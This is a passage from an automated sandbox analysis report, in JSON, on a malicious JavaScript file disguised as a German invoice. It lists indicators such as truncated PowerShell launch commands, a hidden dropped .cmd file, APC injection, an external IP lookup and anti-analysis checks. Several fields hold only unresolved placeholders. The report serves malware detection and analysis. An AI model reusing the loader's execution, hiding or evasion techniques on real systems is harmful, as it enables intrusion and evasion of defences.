\"%WINDIR%\\SysWOW64\\amsi.dll\" at 73450000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at B4A60000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at B3510000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at B4A60000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at B3510000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at B4A60000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 73B10000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 730F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 86C20000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 72750000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at B66B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at B66B0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at B66B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76320000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"WScript.CreateObject\" with result: \"IDispatch\" ...\n \"WScript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"WScript.exe\" called \"WScript.Shell.1.Unnamed\" ... \n \"WScript.exe\" called \"WScript.Shell.1.Environment\" with result: \"IDispatch\" ...\n \"WScript.exe\" called \"WScript.ScriptFullName\" with result: \"C:\\Rechnung103971GmbH10-02-2026.js\" ...\n \"WScript.exe\" called \"WScript.Shell.1(\"Environment\").Item\" ... \n \"WScript.exe\" called \"WScript.Shell.1.ExpandEnvironmentStrings\" with result: \"C:\\Users\\0tyPL6L\\AppData\\Local\" ...\n \"WScript.exe\" called \"WScript.Shell.1.ExpandEnvironmentStrings\" with result: \"C:\\WINDOWS\\system32\\cmd.exe\" ...\n \"WScript.exe\" called \"WScript.Shell.1.ExpandEnvironmentStrings\" with result: \"C:\\WINDOWS\" ...\n \"WScript.exe\" called \"WScript.Shell.1.Run\" ... \n \"WScript.exe\" called \"WScript.Shell.1.ExpandEnvironmentStrings\" with result: \"C:\\Users\\0tyPL6L\\AppData\\Local\\Microsoft\\Windows\\Caches\\54102062952225.cmd\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00f000000040c786b4f87f0000@ntdll.dll\"\n \"22002300f000000018c786b4f87f0000@ntdll.dll\"\n \"19001a00e100000040c786b4f87f0000@ntdll.dll\"\n \"22002300e100000018c786b4f87f0000@ntdll.dll\"\n \"19001a008100000040c786b4f87f0000@ntdll.dll\"\n \"220023008100000018c786b4f87f0000@ntdll.dll\"\n \"19001a00d300000040c786b4f87f0000@ntdll.dll\"\n \"22002300d300000018c786b4f87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Rechnung 103971 GmbH 10-02-2026.js\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$37","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$38","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$39","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"-noprofile -command &($executioncontext.InvokeCommand.NewScriptB ...\" (UID: 00000000-00000652)\n Spawned process \"cmd.exe\" with commandline \"/c call \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\54102062952 ...\" (UID: 00000000-00005296), Spawned process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScript ...\" (UID: 00000000-00000868)\n Spawned process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScript ...\" (UID: 00000000-00001280)\n Spawned process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScript ...\" (UID: 00000000-00007652)\n Spawned process \"attrib.exe\" with commandline \"attrib +h +s \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\54102 ...\" (UID: 00000000-00007088), Spawned process \"choice.exe\" (UID: 00000000-00004940)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"-noprofile -command &($executioncontext.InvokeCommand.NewScriptB ...\" (UID: 00000000-00000652)\n Spawned process \"cmd.exe\" with commandline \"/c call \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\54102062952 ...\" (UID: 00000000-00005296), Spawned process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScript ...\" (UID: 00000000-00000868)\n Spawned process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScript ...\" (UID: 00000000-00001280)\n Spawned process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScript ...\" (UID: 00000000-00007652)\n Spawned process \"attrib.exe\" with commandline \"attrib +h +s \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\54102 ...\" (UID: 00000000-00007088), Spawned process \"choice.exe\" (UID: 00000000-00004940)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Windows Script Host executes Powershell","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00000652)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-321","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_otxtzg5t.aay.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xsfgfeug.i1z.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_obe4jvir.3b5.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_g45gscq3.qyw.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_01ymlnrm.yad.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0tkx5vdy.xjv.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2ixktt4g.jza.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_j2fn5n5t.ewz.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to decompress and copy files (API string)","description":"file/memory contains long string with (Indicator: \"LZCopy\"; File: \"Rechnung 103971 GmbH 10-02-2026.js\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-305","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3d","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 7632)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 652)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 5296)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 868)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 1280)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"choice.exe\" called \"NtQueueApcThread\" (UID: 00000000-00004940)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\rechnung103971gmbh10-02-2026.js\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\wshom.ocx\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Attempts to identify external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\VERSION.dll\"\n \"WScript.exe\" trying to touch file \"\\Device\\CNG\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"WScript.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\kernelbase.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\ole32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\54102062952225.cmd\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%WINDIR%\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_otxtzg5t.aay.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_xsfgfeug.i1z.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\caches\\54102062952225.cmd\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\search_crc\\search_crc.dat\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\search_crc\\search_crc.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000652.00000000.235397.27800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /line/?fields=hosting\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; File: \"Rechnung 103971 GmbH 10-02-2026.js\")","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"$42","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"1.0.0.0\" found in string \"sion=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\"\n \"2.5.29.16\"\n \"0.0.0.0\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n \"2.5.29.31\"\n \"2.5.29.15\"\n \"2.5.29.17\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.4.11\"\n \"2.5.4.5\"\n \"2.5.4.8\"\n \"2.5.4.6\"\n \"2.5.4.7\"\n \"2.5.4.10\"\n Potential IP \"4.0.0.0\" found in string \"rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$43","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$44","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /line/?fields=hosting HTTP/1.1\nHost: ip-api.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007652\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00007652\"\n YARA signature for encryption algorithm process \"00000000-00000868\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE47F779B8408E7649B853511C0296]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000652.00000000.235397.6C850000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEE4272235BA1B3F26C63A1B08BF57]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00000652.00000000.235397.27800000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00000652.00000000.235397.6C850000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00000652.00000000.235397.6F3AE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called 